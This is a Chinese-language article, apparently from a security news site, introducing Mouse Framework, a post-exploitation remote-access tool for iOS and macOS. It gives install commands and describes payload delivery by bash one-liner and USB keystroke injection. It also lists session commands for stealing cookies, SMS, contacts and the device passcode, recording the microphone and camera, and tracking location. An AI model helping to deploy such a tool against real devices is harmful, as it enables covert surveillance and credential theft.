Mouse Framework是一款针对iOS和macOS的后渗透漏洞利用框架,它可以给安全研究人员提供一个带有数据提取功能的命令行会话,只需要使用一个简单的Mouse Payload,我们就可以轻松在目标设备与分析主机之间建立一条命令行会话。不仅如此,Mouse Framework还提供了强大且便捷的文件上传、文件下载、Tab命令补全、屏幕截图、定位追踪、Shell命令执行、权限提升以及密码检索与恢复等功能。

Mouse Framework框架的下载和安装

工具下载

广大研究人员可以使用下列命令将框架源码克隆至本地:

git clone https://github.com/entynetproject/mouse.git

工具安装

cd mouse

chmod +x install.sh

./install.sh

工具卸载

cd mouse

chmod +x uninstall.sh

./uninstall.sh

Mouse Framework框架执行

广大用户在框架安装完成之后,可以直接使用下列命令来执行Mouse Framework框架:

mouse

Mouse Payloads (macOS/iOS)

运行之后,Mouse Payload将会尝试与远程设备进行连接,并获取远程设备会话。

Bourne-Again Shell Payload

在Mouse框架的菜单中选择Bourne-Again Shell Payload之后,代码将会给我们提供一个1 liner,并在目标主机上执行后帮助我们与目标设备建立远程Mouse会话。

平台:iOS/macOS

Teensy macOS Payload(USB 注入)

Teensy是一款提供了自定义开发功能的USB板,我们可以使用Arduino IDE来其进行编程。它可以快速模拟USB键盘击键操作,并在几秒内完成Mouse Payload的注入。

平台:macOS

Rubber Duck Payload(USB 注入)

USB Rubber DUck同样也是一款提供了自定义开发功能的USB板,它可以帮助我们在几秒钟之内成功注入.bin Payload。

平台:macOS

Application macOS Payload

在Mouse框架的Payload菜单中选择Application macOS Payload之后,代码将会帮助我们将标准的Mouse Payload转换为一个macOS应用程序。

平台:macOS

多处理器MultiHandler命令行接口

该框架提供的MultiHandler选项可以帮助我们同时处理多个目标设备会话,我们可以根据自己的需要选择与不同设备进行交互,并同时在后台监听新的连接。

MultiHandler命令

close:关闭活动会话

exit:关闭所有的会话并退出

help:显示所有可用的命令

interact:与会话交互

sessions:列出所有活动会话

Mouse底层

Mouse Framework本质山是一个数据包,它可以直接在目标iOS设备上运行,在收到了远程控制会话后,便可以直接在目标设备上执行命令或运行服务了。

底层命令

dhome:模拟home键双击

home:模拟home键单机

locat:切换位置服务

mute:更新和查看静音状态

Mouse命令行接口

会话建立成功后,我们就可以通过Mouse命令行接口来在目标设备上执行命令了。我们可以通过输入“help”命令来查看所有可用指令。Mouse命令行接口允许我们直接通过命令来控制一台远程设备。

本地命令

clear:清理终端窗口

help:显示所有可用命令

exec:执行本地Shell命令

exit:关闭当前会话并退出

设置命令

macOS

getpaste:获取剪切板内容

getvol:获取扬声器输出音量

idletime:获取用户活动时间

setbright:设置屏幕亮度

setvol:设置输出音量

iOS

battery:获取电池电量

getvol:获取音量

msub:Mouse底层

setvol:设置输出音量

sysinfo:显示系统信息

窃取命令

macOS

download:下载远程文件

getfacebook:检索facebook会话cookies

mic:录制麦克风声音

picture:通过iSight拍摄

prompt:提示用户键入密码

screenshot:屏幕截图

iOS

download:下载远程文件

getcontacts:下载通讯录

getnotes:下载便签内容

getpasscode:检索设备密码

getsms:下载短信数据

locate:获取设备位置坐标

mic:录制麦克风声音

picture:通过相机拍照

项目地址

Mouse Framework:【GitHub传送门

* 参考来源:entynetproject,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM